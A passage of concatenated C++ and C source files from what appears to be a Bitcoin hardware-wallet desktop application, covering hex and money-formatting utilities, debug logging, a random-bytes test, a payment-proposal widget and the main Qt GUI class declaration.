subStr = QRCODE_SEQUENCE_HEADER0 + std::string(1,digits[i]) + std::string(1,digits[numPages]) + subStr ;
QRcode *code = QRcode_encodeString(subStr.c_str(), 0, QR_ECLEVEL_L, QR_MODE_8, 1);
qrcodes.push_back(code);
}
showPage(0);
}
void QRCodeSequence::useOnDarkBackground(bool state)
{
if (state)
ui->pageLabel->setStyleSheet("color: white;");
else
ui->pageLabel->setStyleSheet("color: black;");
}
<|start_filename|>src/dbb_util.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb_util.h"
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <string.h>
#include <sstream>
#include <list>
#if defined _MSC_VER
#include <direct.h>
#elif defined __GNUC__
#include <sys/types.h>
#include <sys/stat.h>
#endif
#if defined WIN32
#include <shlobj.h>
#endif
namespace DBB
{
std::map<std::string, std::string> mapArgs;
std::map<std::string, std::vector<std::string> > mapMultiArgs;
const signed char p_util_hexdigit[256] =
{ -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
0,1,2,3,4,5,6,7,8,9,-1,-1,-1,-1,-1,-1,
-1,0xa,0xb,0xc,0xd,0xe,0xf,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,0xa,0xb,0xc,0xd,0xe,0xf,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, };
signed char HexDigit(char c)
{
return p_util_hexdigit[(unsigned char)c];
}
std::vector<unsigned char> ParseHex(const char* psz)
{
// convert hex dump to vector
std::vector<unsigned char> vch;
while (true)
{
while (isspace(*psz))
psz++;
signed char c = HexDigit(*psz++);
if (c == (signed char)-1)
break;
unsigned char n = (c << 4);
c = HexDigit(*psz++);
if (c == (signed char)-1)
break;
n |= c;
vch.push_back(n);
}
return vch;
}
std::vector<unsigned char> ParseHex(const std::string& str)
{
return ParseHex(str.c_str());
}
std::string HexStr(unsigned char* itbegin, unsigned char* itend, bool fSpaces)
{
std::string rv;
static const char hexmap[16] = { '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
rv.reserve((itend-itbegin)*3);
for(unsigned char* it = itbegin; it < itend; ++it)
{
unsigned char val = (unsigned char)(*it);
if(fSpaces && it != itbegin)
rv.push_back(' ');
rv.push_back(hexmap[val>>4]);
rv.push_back(hexmap[val&15]);
}
return rv;
}
std::string SanitizeString(const std::string& str)
{
/**
* safeChars chosen to allow simple messages/URLs/email addresses, but avoid anything
* even possibly remotely dangerous like & or >
*/
static std::string safeChars("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890 .,;_/:?@()");
std::string strResult;
for (std::string::size_type i = 0; i < str.size(); i++) {
if (safeChars.find(str[i]) != std::string::npos)
strResult.push_back(str[i]);
}
return strResult;
}
void ParseParameters(int argc, const char* const argv[])
{
mapArgs.clear();
mapMultiArgs.clear();
for (int i = 1; i < argc; i++) {
std::string str(argv[i]);
std::string strValue;
size_t is_index = str.find('=');
if (is_index != std::string::npos) {
strValue = str.substr(is_index + 1);
str = str.substr(0, is_index);
}
if (str[0] != '-')
continue;
// Interpret --foo as -foo.
// If both --foo and -foo are set, the last takes effect.
if (str.length() > 1 && str[1] == '-')
str = str.substr(1);
mapArgs[str] = strValue;
mapMultiArgs[str].push_back(strValue);
}
}
std::string GetArg(const std::string& strArg, const std::string& strDefault)
{
if (mapArgs.count(strArg))
return mapArgs[strArg];
return strDefault;
}
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
std::stringstream ss(s);
std::string item;
while (std::getline(ss, item, delim)) {
elems.push_back(item);
}
return elems;
}
std::vector<std::string> split(const std::string &s, char delim) {
std::vector<std::string> elems;
split(s, delim, elems);
return elems;
}
static const int64_t COIN = 100000000;
static const int64_t CENT = 1000000;
std::string formatMoney(const int64_t &n)
{
// Note: not using straight sprintf here because we do NOT want
// localized number formatting.
int64_t n_abs = (n > 0 ? n : -n);
int64_t quotient = n_abs/COIN;
int64_t remainder = n_abs%COIN;
std::string str = string_format("%" PRId64 ".%08" PRId64, quotient, remainder);
// Right-trim excess zeros before the decimal point:
int nTrim = 0;
for (int i = str.size()-1; (str[i] == '0' && isdigit(str[i-2])); --i)
++nTrim;
if (nTrim)
str.erase(str.size()-nTrim, nTrim);
if (n < 0)
str.insert((unsigned int)0, 1, '-');
return str + " BTC";
}
int64_t atoi64(const char* psz)
{
#ifdef _MSC_VER
return _atoi64(psz);
#else
return strtoll(psz, NULL, 10);
#endif
}
int64_t atoi64(const std::string& str)
{
#ifdef _MSC_VER
return _atoi64(str.c_str());
#else
return strtoll(str.c_str(), NULL, 10);
#endif
}
bool ParseMoney(const std::string& str, int64_t& nRet)
{
return ParseMoney(str.c_str(), nRet);
}
bool ParseMoney(const char* pszIn, int64_t& nRet)
{
std::string strWhole;
int64_t nUnits = 0;
const char* p = pszIn;
while (isspace(*p))
p++;
for (; *p; p++)
{
if (*p == '.')
{
p++;
int64_t nMult = CENT*10;
while (isdigit(*p) && (nMult > 0))
{
nUnits += nMult * (*p++ - '0');
nMult /= 10;
}
break;
}
if (isspace(*p))
break;
if (!isdigit(*p))
return false;
strWhole.insert(strWhole.end(), *p);
}
for (; *p; p++)
if (!isspace(*p))
return false;
if (strWhole.size() > 10) // guard against 63 bit overflow
return false;
if (nUnits < 0 || nUnits > COIN)
return false;
int64_t nWhole = atoi64(strWhole);
int64_t nValue = nWhole*COIN + nUnits;
nRet = nValue;
return true;
}
void strReplace(std::string& str, const std::string& oldStr, const std::string& newStr)
{
size_t pos = 0;
while((pos = str.find(oldStr, pos)) != std::string::npos){
str.replace(pos, oldStr.length(), newStr);
pos += newStr.length();
}
}
static FILE* fileout = NULL;
static std::recursive_mutex* mutexDebugLog = NULL;
static std::list<std::string> *vMsgsBeforeOpenLog;
static bool fPrintToConsole = false;
static bool fPrintToDebugLog = true;
static bool fReopenDebugLog = false;
static int FileWriteStr(const std::string &str, FILE *fp)
{
return fwrite(str.data(), 1, str.size(), fp);
}
static void DebugPrintInit()
{
if(mutexDebugLog == NULL)
{
mutexDebugLog = new std::recursive_mutex();
vMsgsBeforeOpenLog = new std::list<std::string>;
}
}
void CreateDir(const char* dir)
{
#if defined WIN32
mkdir(dir);
#elif defined __GNUC__
mkdir(dir, 0777);
#endif
}
#ifdef WIN32
std::string GetSpecialFolderPath(int nFolder, bool fCreate)
{
char pszPath[MAX_PATH] = "";
if (SHGetSpecialFolderPathA(NULL, pszPath, nFolder, fCreate)) {
if (pszPath)
return std::string(pszPath);
return "";
}
return "";
}
#endif
std::string GetDefaultDBBDataDir()
{
// Windows < Vista: C:\Documents and Settings\Username\Application Data\Bitcoin
// Windows >= Vista: C:\Users\Username\AppData\Roaming\Bitcoin
// Mac: ~/Library/Application Support/Bitcoin
// Unix: ~/.bitcoin
#ifdef WIN32
// Windows
return GetSpecialFolderPath(CSIDL_APPDATA, true) + "/DBB";
#else
std::string pathRet;
char* pszHome = getenv("HOME");
if (pszHome == NULL || strlen(pszHome) == 0)
pathRet = "/";
else
pathRet = std::string(pszHome);
#ifdef MAC_OSX
// Mac
pathRet += "/Library/Application Support";
CreateDir(pathRet.c_str());
return pathRet += "/DBB";
#else
// Unix
return pathRet += "/.dbb";
#endif
#endif
}
void OpenDebugLog()
{
DebugPrintInit();
std::unique_lock<std::recursive_mutex> scoped_lock(*mutexDebugLog);
assert(fileout == NULL);
assert(vMsgsBeforeOpenLog);
std::string pathDebug = GetDefaultDBBDataDir() + "/" + "debug.log";
fileout = fopen(pathDebug.c_str(), "a");
if (fileout) setbuf(fileout, NULL); // unbuffered
// dump buffered messages from before we opened the log
while (!vMsgsBeforeOpenLog->empty()) {
FileWriteStr(vMsgsBeforeOpenLog->front(), fileout);
vMsgsBeforeOpenLog->pop_front();
}
delete vMsgsBeforeOpenLog;
vMsgsBeforeOpenLog = NULL;
}
/**
* fStartedNewLine is a state variable held by the calling context that will
* suppress printing of the timestamp when multiple calls are made that don't
* end in a newline. Initialize it to true, and hold it, in the calling context.
*/
static std::string LogTimestampStr(const std::string &str, bool *fStartedNewLine)
{
std::string strStamped;
if (*fStartedNewLine) {
strStamped = std::to_string(time(NULL));
strStamped += ' ' + str;
} else
strStamped = str;
if (!str.empty() && str[str.size()-1] == '\n')
*fStartedNewLine = true;
else
*fStartedNewLine = false;
return strStamped;
}
int LogPrintStr(const std::string &str)
{
int ret = 0; // Returns total number of characters written
static bool fStartedNewLine = true;
std::string strTimestamped = LogTimestampStr(str, &fStartedNewLine);
if (fPrintToConsole)
{
// print to console
ret = fwrite(strTimestamped.data(), 1, strTimestamped.size(), stdout);
fflush(stdout);
}
else if (fPrintToDebugLog)
{
DebugPrintInit();
std::unique_lock<std::recursive_mutex> scoped_lock(*mutexDebugLog);
// buffer if we haven't opened the log yet
if (fileout == NULL) {
assert(vMsgsBeforeOpenLog);
ret = strTimestamped.length();
vMsgsBeforeOpenLog->push_back(strTimestamped);
}
else
{
// reopen the log file, if requested
if (fReopenDebugLog) {
fReopenDebugLog = false;
std::string pathDebug = GetDefaultDBBDataDir() + "/" + "debug.log";
if (freopen(pathDebug.c_str(),"a",fileout) != NULL)
setbuf(fileout, NULL); // unbuffered
}
ret = FileWriteStr(strTimestamped, fileout);
}
}
return ret;
}
std::string putTime( const std::time_t& time, const std::string& format )
{
char mbstr[100];
if ( std::strftime( mbstr, sizeof(mbstr), format.c_str(), std::localtime( &time ) ) )
{
return mbstr;
}
else
{
throw std::invalid_argument("wrong format");
}
}
}
<|start_filename|>src/libbtc/test/random_tests.c<|end_filename|>
/**********************************************************************
* Copyright (c) 2015 <NAME> *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <btc/random.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
void test_random()
{
unsigned char r_buf[32];
memset(r_buf, 0, 32);
random_init();
random_bytes(r_buf, 32, 0);
}
<|start_filename|>src/dbb_netthread.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBBAPP_NETTHREAD_H
#define DBBAPP_NETTHREAD_H
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <functional>
#include <mutex>
#include <thread>
#include <vector>
#ifdef WIN32
#include <windows.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#endif
#include "univalue.h"
class DBBNetThread
{
private:
bool finished;
std::time_t starttime;
public:
DBBNetThread();
~DBBNetThread();
void completed();
void join();
bool hasCompleted();
std::thread currentThread;
static DBBNetThread* DetachThread();
static void CleanupThreads();
static std::vector<DBBNetThread*> netThreads;
static std::mutex cs_netThreads;
};
#endif
<|start_filename|>src/qt/paymentproposal.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "paymentproposal.h"
#include "ui/ui_paymentproposal.h"
#include <QStringListModel>
#include <QStringList>
#include "dbb_util.h"
PaymentProposal::PaymentProposal(QWidget *parent) :
QWidget(parent),
ui(new Ui::PaymentProposal)
{
ui->setupUi(this);
ui->bgWidget->setStyleSheet("background-color: rgba(0,0,0,15); border: 1px solid gray;");
ui->amountLabelKey->setStyleSheet("font-weight: bold;");
ui->feeLabelKey->setStyleSheet("font-weight: bold;");
ui->toLabelKey->setStyleSheet("font-weight: bold;");
connect(this->ui->acceptButton, SIGNAL(clicked()), this, SLOT(acceptPressed()));
connect(this->ui->rejectButton, SIGNAL(clicked()), this, SLOT(rejectPressed()));
connect(this->ui->arrowLeft, SIGNAL(clicked()), this, SLOT(prevPressed()));
connect(this->ui->arrowRight, SIGNAL(clicked()), this, SLOT(nextPressed()));
}
void PaymentProposal::SetData(DBBWallet *walletIn, const std::string copayerID, const UniValue &pendingTxpIn, const UniValue &proposalDataIn, const std::string &prevID, const std::string &nextID)
{
wallet = walletIn;
pendingTxp = pendingTxpIn;
proposalData = proposalDataIn;
prevProposalID = prevID;
nextProposalID = nextID;
UniValue toAddressUni;
toAddressUni = find_value(proposalData, "toAddress");
if (!toAddressUni.isStr()) {
toAddressUni = find_value(proposalData["outputs"][0], "toAddress");
proposalData.pushKV("toAddress", toAddressUni);
}
if (toAddressUni.isStr())
this->ui->toLabel->setText(QString::fromStdString(toAddressUni.get_str()));
UniValue amountUni = find_value(proposalData, "amount");
if (amountUni.isNum())
this->ui->amountLabel->setText(QString::fromStdString(DBB::formatMoney(amountUni.get_int64())));
UniValue feeUni = find_value(proposalData, "fee");
if (feeUni.isNum())
this->ui->feeLabel->setText(QString::fromStdString(DBB::formatMoney(feeUni.get_int64())));
UniValue actions = find_value(proposalData, "actions");
this->ui->arrowLeft->setVisible((prevProposalID.size() > 0));
this->ui->arrowRight->setVisible((nextProposalID.size() > 0));
bool skipProposal = false;
this->ui->actionLabel->setVisible(false);
this->ui->rejectButton->setVisible(true);
this->ui->acceptButton->setVisible(true);
if (actions.isArray())
{
for (const UniValue &oneAction : actions.getValues())
{
UniValue copayerIDUniValie = find_value(oneAction, "copayerId");
UniValue actionType = find_value(oneAction, "type");
if (!copayerIDUniValie.isStr() || !actionType.isStr())
continue;
if (copayerID == copayerIDUniValie.get_str() && actionType.get_str() == "accept") {
this->ui->actionLabel->setVisible(true);
this->ui->actionLabel->setText("You have accepted this proposal.");
this->ui->rejectButton->setVisible(false);
this->ui->acceptButton->setVisible(false);
}
else if (copayerID == copayerIDUniValie.get_str() && actionType.get_str() == "reject") {
this->ui->actionLabel->setVisible(true);
this->ui->actionLabel->setText("You have rejected this proposal.");
this->ui->rejectButton->setVisible(false);
this->ui->acceptButton->setVisible(false);
}
}
}
}
void PaymentProposal::prevPressed()
{
emit shouldDisplayProposal(pendingTxp, prevProposalID);
}
void PaymentProposal::nextPressed()
{
emit shouldDisplayProposal(pendingTxp, nextProposalID);
}
void PaymentProposal::acceptPressed()
{
emit processProposal(wallet, "", proposalData, ProposalActionTypeAccept);
}
void PaymentProposal::rejectPressed()
{
emit processProposal(wallet, "", proposalData, ProposalActionTypeReject);
}
PaymentProposal::~PaymentProposal()
{
delete ui;
}
<|start_filename|>src/qt/dbb_gui.h<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBBDAEMON_QT_DAEMONGUI_H
#define DBBDAEMON_QT_DAEMONGUI_H
#include <QMainWindow>
#include <QWidget>
#include <QLabel>
#include <QPushButton>
#include <QPropertyAnimation>
#include <QStandardItemModel>
#include <QUuid>
#include <functional>
#include <thread>
#include <mutex>
#ifdef WIN32
#include <windows.h>
#include "mingw/mingw.mutex.h"
#include "mingw/mingw.condition_variable.h"
#include "mingw/mingw.thread.h"
#endif
#include "config/_dbb-config.h"
#include "dbb_app.h"
#include "dbb_configdata.h"
#include "update.h"
#include "dbb_wallet.h"
#include "dbb_comserver.h"
#ifdef DBB_USE_MULTIMEDIA
#include "qrcodescanner.h"
#endif
#include "backupdialog.h"
#include "getaddressdialog.h"
#include "paymentproposal.h"
#include "signconfirmationdialog.h"
#include "verificationdialog.h"
#include "settingsdialog.h"
#define WALLET_POLL_TIME 25000
namespace Ui
{
class MainWindow;
}
static bool DBB_USE_TESTNET = false;
//DBB USB response types
typedef enum DBB_RESPONSE_TYPE {
DBB_RESPONSE_TYPE_UNKNOWN,
DBB_RESPONSE_TYPE_PASSWORD,
DBB_RESPONSE_TYPE_XPUB_MS_MASTER,
DBB_RESPONSE_TYPE_XPUB_MS_REQUEST,
DBB_RESPONSE_TYPE_XPUB_SW_MASTER,
DBB_RESPONSE_TYPE_XPUB_SW_REQUEST,
DBB_RESPONSE_TYPE_CREATE_WALLET,
DBB_RESPONSE_TYPE_INFO,
DBB_RESPONSE_TYPE_ERASE,
DBB_RESPONSE_TYPE_LED_BLINK,
DBB_RESPONSE_TYPE_ADD_BACKUP,
DBB_RESPONSE_TYPE_LIST_BACKUP,
DBB_RESPONSE_TYPE_ERASE_BACKUP,
DBB_RESPONSE_TYPE_VERIFY_BACKUP,
DBB_RESPONSE_TYPE_RANDOM_NUM,
DBB_RESPONSE_TYPE_DEVICE_LOCK,
DBB_RESPONSE_TYPE_VERIFYPASS_ECDH,
DBB_RESPONSE_TYPE_XPUB_VERIFY,
DBB_RESPONSE_TYPE_XPUB_GET_ADDRESS,
DBB_RESPONSE_TYPE_BOOTLOADER_UNLOCK,
DBB_RESPONSE_TYPE_BOOTLOADER_LOCK,
DBB_RESPONSE_TYPE_SET_DEVICE_NAME,
DBB_RESPONSE_TYPE_SET_DEVICE_NAME_CREATE,
DBB_RESPONSE_TYPE_SET_DEVICE_NAME_RECREATE,
DBB_RESPONSE_TYPE_RESET_PASSWORD,
DBB_RESPONSE_TYPE_RESET_U2F,
} dbb_response_type_t;
typedef enum DBB_ADDRESS_STYLE {
DBB_ADDRESS_STYLE_MULTISIG_1OF1,
DBB_ADDRESS_STYLE_P2PKH
} dbb_address_style_t;
typedef enum DBB_PROCESS_INFOLAYER_STYLE {
DBB_PROCESS_INFOLAYER_STYLE_NO_INFO,
DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON,
DBB_PROCESS_INFOLAYER_STYLE_REPLUG,
DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON,
DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON_WARNING,
DBB_PROCESS_INFOLAYER_UPGRADE_FIRMWARE
} dbb_process_infolayer_style_t;
typedef enum DBB_LED_BLINK_MODE {
DBB_LED_BLINK_MODE_BLINK,
DBB_LED_BLINK_MODE_ABORT
} dbb_led_blink_mode_t;
class DBBDaemonGui : public QMainWindow
{
Q_OBJECT
public:
explicit DBBDaemonGui(const QString& uri, QWidget* parent = 0);
~DBBDaemonGui();
public slots:
signals:
//emitted when the device state has chaned (connected / disconnected)
void deviceStateHasChanged(bool state, int deviceType);
//emitted when the network activity has changed
void changeNetLoading(bool state);
//emitted when the DBB could generate a xpub
void XPubForCopayWalletIsAvailable(int walletIndex);
//emitted when the request xpub key is available
void RequestXPubKeyForCopayWalletIsAvailable(int walletIndex);
//emitted when a response from the DBB is available
void gotResponse(const UniValue& response, dbb_cmd_execution_status_t status, dbb_response_type_t tag, int subtag = 0);
//emitted when a copay getwallet response is available
void getWalletsResponseAvailable(DBBWallet* wallet, bool walletsAvailable, const std::string& walletsResponse, bool initialJoin = false);
//emitted when a copay wallet history response is available
void getTransactionHistoryAvailable(DBBWallet* wallet, bool historyAvailable, const UniValue& historyResponse);
//emitted when a payment proposal and a given signatures should be verified
void shouldVerifySigning(DBBWallet*, const UniValue& paymentProposal, int actionType, const std::string& signature);
//emitted when the verification dialog shoud hide
void shouldHideVerificationInfo();
//emitted when signatures for a payment proposal are available
void signedProposalAvailable(DBBWallet*, const UniValue& proposal, const std::vector<std::string>& vSigs);
//emitted when a wallet needs update
void shouldUpdateWallet(DBBWallet*);
//emitted when a new receiving address is available
void walletAddressIsAvailable(DBBWallet *, const std::string &newAddress, const std::string &keypath);
//emitted when a new receiving address is available
void paymentProposalUpdated(DBBWallet *, const UniValue &proposal);
//emitted when the firmeware upgrade thread is done
void firmwareThreadDone(bool);
//emitted when the firmeware upgrade thread is done
void shouldUpdateModalInfo(const QString& info);
//emitted when the modal view should be hidden from another thread
void shouldHideModalInfo();
void shouldShowAlert(const QString& title, const QString& text);
//emitted when a tx proposal was successfully created
void createTxProposalDone(DBBWallet *, const QString &tfaCode, const UniValue &proposal);
//emitted when a wallet join process was done
void joinCopayWalletDone(DBBWallet *);
void comServerIncommingMessage(const QString& msg);
void reloadGetinfo();
private:
QString *openedWithBitcoinURI;
Ui::MainWindow* ui;
DBBUpdateManager *updateManager;
BackupDialog* backupDialog;
GetAddressDialog* getAddressDialog;
VerificationDialog* verificationDialog;
SettingsDialog* settingsDialog;
QTimer *walletUpdateTimer;
QStandardItemModel *transactionTableModel;
QLabel* statusBarLabelLeft;
QLabel* statusBarLabelRight;
QPushButton* statusBarButton;
QPushButton* statusBarVDeviceIcon;
QPushButton* statusBarNetIcon;
QPushButton* statusBarUSBIcon;
bool upgradeFirmwareState; //set to true if we expect a firmware upgrade
bool shouldKeepBootloaderState; //set to true if we expect a firmware upgrade
QString firmwareFileToUse;
bool sdcardWarned;
bool processCommand;
bool deviceConnected;
bool cachedWalletAvailableState;
bool initialWalletSeeding; //state if initial wallet is in seed
bool cachedDeviceLock;
bool deviceReadyToInteract;
bool touchButtonInfo;
QPropertyAnimation* loginScreenIndicatorOpacityAnimation;
QPropertyAnimation* netActivityAnimation;
QPropertyAnimation* usbActivityAnimation;
QPropertyAnimation* verificationActivityAnimation;
QString deviceName;
QString tempNewDeviceName;
std::string sessionPassword; //TODO: needs secure space / mem locking
std::string sessionPasswordDuringChangeProcess; //TODO: needs secure space / mem locking
std::vector<DBBWallet*> vMultisigWallets; //!<immutable pointers to the multisig wallet objects (currently only 1)
DBBWallet* singleWallet; //!<immutable pointer to the single wallet object
PaymentProposal* currentPaymentProposalWidget; //!< UI element for showing a payment proposal
SignConfirmationDialog* signConfirmationDialog; //!< UI element for showing a payment proposal
DBB::DBBConfigdata *configData; //!< configuration data model
DBBComServer *comServer;
std::time_t lastPing;
std::atomic<bool> netLoaded;
std::atomic<int> netErrCount;
#ifdef DBB_USE_MULTIMEDIA
DBBQRCodeScanner *qrCodeScanner; //!< QRCode scanner object
#endif
void createMenuBar();
//== Plug / Unplug ==
//! gets called when the device was sucessfully unlocked (password accepted)
void deviceIsReadyToInteract();
//!enabled or disabled the tabbar
void setTabbarEnabled(bool status);
//!enable or disable dbb/usb/loading indication in the UI
void setLoading(bool status);
//!resets device infos (in case of a disconnect)
void resetInfos();
//! updates the ui after the current device state
void uiUpdateDeviceState(int deviceType=-1);
//== UI ==
void setActiveArrow(int pos);
//!gets called when the password was accepted by the DBB hardware
void passwordAccepted();
//!hides the enter password form
void hideSessionPasswordView();
//!update overview flags (wallet / lock, etc)
void updateOverviewFlags(bool walletAvailable, bool lockAvailable, bool loading);
//== USB ==
//wrapper for the DBB USB command action
bool executeCommandWrapper(const std::string& cmd, const dbb_process_infolayer_style_t layerstyle, std::function<void(const std::string&, dbb_cmd_execution_status_t status)> cmdFinished, const QString& modaltext = "");
// get a new backup filename
std::string getBackupString();
//== Copay Wallet ==
void hidePaymentProposalsWidget();
void executeNetUpdateWallet(DBBWallet* wallet, bool showLoading, std::function<void(bool, std::string&)> cmdFinished);
bool multisigWalletIsUpdating;
bool singleWalletIsUpdating;
std::vector<std::pair<std::time_t, std::thread*> > netThreads;
std::recursive_mutex cs_walletObjects;
std::thread *fwUpgradeThread;
private slots:
//!main callback when the device gets connected/disconnected
void changeConnectedState(bool state, int deviceType);
//!enable or disable net/loading indication in the UI
void setNetLoading(bool status);
//!slot for a periodical update timer
void updateTimerFired();
void pingComServer();
//== UI ==
//general proxy function to show an alert;
void showAlert(const QString& title, const QString& errorOut, bool critical = false);
void mainOverviewButtonClicked();
void mainMultisigButtonClicked();
void mainReceiveButtonClicked();
void mainSendButtonClicked();
void mainSettingsButtonClicked();
void gotoOverviewPage();
void gotoReceivePage();
void gotoSendCoinsPage();
void gotoMultisigPage();
void gotoSettingsPage();
//!shows info about the smartphone verification
void showEchoVerification(DBBWallet*, const UniValue& response, int actionType, const std::string& echoStr);
//!proceed with the signing (2nd step)
void proceedVerification(const QString& twoFACode, void *ptr, const UniValue& data, int actionType);
//!hides verification info
void hideVerificationInfo();
//!gets called when the user hits enter in the "enter password form"
void passwordProvided();
//!slot to ask for the current session password
void askForSessionPassword();
//!show general modal info
void showModalInfo(const QString &info, int helpType = 0);
void updateModalInfo(const QString &info);
//!show QRCode in modal view
void updateModalWithQRCode(const QString& string);
//!show a new Icon in the modal info
void updateModalWithIconName(const QString& filename);
void hideModalInfo();
void modalStateChanged(bool state);
//!gets called when the user presses button in the "set password form"
void setPasswordProvided(const QString& newPassword, const QString& repeatPassword);
//!gets called on device reset
void setDeviceNamePasswordProvided(const QString& newPassword, const QString& newName);
void cleanseLoginAndSetPassword();
//!gets called when checking for an update
void updateButtonSetAvailable(bool);
//== DBB USB ==
//!function is user whishes to erase the DBB
void eraseClicked();
//!reset the U2F seed
void resetU2F();
void ledClicked(dbb_led_blink_mode_t mode = DBB_LED_BLINK_MODE_BLINK);
//!get basic informations about the connected DBB
void getInfo();
//!seed the wallet, flush everything and create a new bip32 entropy
void seedHardware();
//== DBB USB / UTILS ==
//!get the current local IPv4 address
QString getIpAddress();
//!get a random number from the dbb
void getRandomNumber();
//!lock the device, disabled "backup", "verifypass" and "seed" command
void lockDevice();
//!lock the bootloader to protect from unecpected firmware upgrades
void lockBootloader();
//!open a file chooser and unlock the bootloader
void upgradeFirmwareButton();
void upgradeFirmware(bool unlockBootload);
void noDeviceConnectedLabelLink(const QString& link);
//!start upgrading the firmware with a file at given location
void upgradeFirmwareWithFile(const QString& fileName);
void upgradeFirmwareDone(bool state);
//!change device name via modal display
void setDeviceNameProvided(const QString &name);
//!change device name via popup window
void setDeviceNameClicked();
void setDeviceName(const QString& newDeviceName, dbb_response_type_t response_type);
void parseBitcoinURI(const QString& bitcoinurl, QString& addressOut, QString& amountOut);
//== ADDRESS EXPORTING ==
void showGetAddressDialog();
void getAddressGetXPub(const QString& keypath);
void getAddressVerify(const QString& keypath);
//== DBB USB / BACKUP ==
void showBackupDialog();
void addBackup();
void listBackup();
void eraseAllBackups();
void eraseBackup(const QString& backupFilename);
void verifyBackup(const QString& backupFilename);
void restoreBackup(const QString& backupFilename);
//== DBB USB Commands (Response Parsing) ==
//!main function to parse a response from the DBB
void parseResponse(const UniValue& response, dbb_cmd_execution_status_t status, dbb_response_type_t tag, int subtag);
//== Copay Wallet ==
//!create a single wallet
void createSingleWallet();
//!get a new address
void getNewAddress();
//!verify a address over the smartphone
void verifyAddress();
//!get a xpubkey (generic function)
void getXPub(const std::string& keypath, dbb_response_type_t response_type = DBB_RESPONSE_TYPE_XPUB_VERIFY, dbb_address_style_t address_type = DBB_ADDRESS_STYLE_P2PKH);
//!gets called when a new address is available
void updateReceivingAddress(DBBWallet *wallet, const std::string &newAddress, const std::string &keypath);
//!check the UI values and create a payment proposal from them, sign and post them
void createTxProposalPressed();
//!Report about a submitted payment proposal
void reportPaymentProposalPost(DBBWallet* wallet, const UniValue& proposal);
void joinCopayWalletClicked();
//!initiates a copay multisig wallet join
void joinMultisigWalletInitiate(DBBWallet*);
//!gets a xpub key for the copay wallet
void getXPubKeyForCopay(int walletIndex);
//!gets a xpub key at the keypath that is used for the request private key
void getRequestXPubKeyForCopay(int walletIndex);
//!joins a copay wallet with given xpub key
void joinCopayWallet(int walletIndex);
//!joins a copay wallet with given xpub key
void joinCopayWalletComplete(DBBWallet* wallet);
//!update a given wallet object
void updateWallet(DBBWallet* wallet);
//!update multisig wallets
void MultisigUpdateWallets(bool initialJoin=false);
//!update single wallet
void SingleWalletUpdateWallets(bool showLoading=true);
//!update the mutisig ui from a getWallets response
void updateUIMultisigWallets(const UniValue& walletResponse);
//!update the mutisig ui state (joined or not)
void updateUIStateMultisigWallets(bool joined);
//!update the singlewallet ui from a getWallets response
void updateUISingleWallet(const UniValue& walletResponse);
//!update the single wallet transaction table
void updateTransactionTable(DBBWallet *wallet, bool historyAvailable, const UniValue& history);
//!show tx in a block explorer
void historyShowTx(QModelIndex index);
//!parse single wallet wallet response
void parseWalletsResponse(DBBWallet* wallet, bool walletsAvailable, const std::string& walletsResponse, bool initialJoin=false);
//!update payment proposals
bool MultisigUpdatePaymentProposals(const UniValue& response);
//!show a single payment proposals with given id
bool MultisigShowPaymentProposal(const UniValue& pendingTxps, const std::string& targetID);
//!execute payment proposal action
void PaymentProposalAction(DBBWallet* wallet, const QString &tfaCode, const UniValue& paymentProposal, int actionType = ProposalActionTypeAccept);
//!post
void postSignaturesForPaymentProposal(DBBWallet* wallet, const UniValue& proposal, const std::vector<std::string>& vSigs);
//== Smart Verification Pairing ==
//!send a ecdh pairing request with pubkey to the DBB
void sendECDHPairingRequest(const std::string &ecdhRequest);
void pairSmartphone();
void comServerMessageParse(const QString& msg);
//== settings ==
//!show settings dialog
void showSettings();
void updateSettings();
void updateHiddenPassword(const QString& hiddenPassword);
